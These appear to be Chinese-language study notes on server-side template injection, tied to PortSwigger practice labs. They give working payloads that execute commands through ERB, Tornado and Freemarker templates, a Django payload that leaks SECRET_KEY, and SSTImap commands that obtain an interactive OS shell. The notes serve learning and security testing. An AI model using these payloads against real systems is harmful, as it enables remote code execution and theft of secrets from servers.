概念
模板引擎
模板引擎负责视图渲染,将动态数据(如数据库查询结果)嵌入静态模板文件(如 HTML)
SSTI
SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
参考:https://www.cnblogs.com/R3col/p/12746485.html

SSTI利用思路
确定模板引擎
改参数看报错:
看模板语法
引擎寻找构造
构造payload的思路
寻找可用对象(比如字符串、字典,或者已给出的对象)
通过可用对象寻找原生对象(object)
利用原生对象实例化目标对象(比如os)
执行代码
手工有困难
可用使用Tqlmap或SSTImap代替
##SSTI测试:
首先靠信息搜集,判断当前使用什么模板引擎
实在不行就靠工具进行批量payload测试
靶场地址:https://portswigger.net/web-security/all-labs#server-side-template-injection
Ruby-ERB模板:

可以进行测试ssrf、ssti
此处页面应该就是使用了一个模板(通过变量进行一个接收,页面已经做好了,只用填充数据)–> 将此处传入的参数值尝试替换为模板攻击语句
<%= exec 'ls -al' %>

Python-Tornado模板:




看7*7是否解析执行为49
blog-post-author-display=user.name}}{{7*7}}

模板是python的,所以使用os模块进行命令执行
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')

Freemarker:
管理员登录后台,修改后台模板,通过ssti触发rce取得权限
<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}


报错提示:
信息搜集角度-判断使用什么模板引擎
与第一关差不多,但是当传入参数值为某些触发语句时,发生报错
${{<%[%'"}}%\

然后根据此报错就可判断其使用什么模板引擎,然后就可以使用对应语句进行测试

Python-Django:
与第三关类似,修改模板引擎
{{settings.SECRET_KEY}}

项目工具
集成了大部分模板引擎的攻击语法
探针、模板引擎攻击
tplmap:https://github.com/epinna/tplmap
SSTImap(tplmap升级版,类似于sqlmap): https://github.com/vladko312/SSTImap
进入项目后,pip安装必要模块
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
运行
python sstimap.py -u 测试地址+参数


获得交互式shell权限
python sstimap.py -u 测试地址+参数 --os-shell

挖掘
白盒
https://forum.butian.net/share/1229
黑盒
- 找渲染结果 — 页面显示的内容可以控制(与xss相似)
- 看网站应用语言
- 看页面美观度,显示有规律性和条理性(单一简陋的页面可能没有使用模板)
- 看数据包参数能否控制页面显示输出的内容
本节知识点
WEB攻防-SSTI-利用分类&功能点
WEB攻防-SSTI-利用项目&挖掘思路
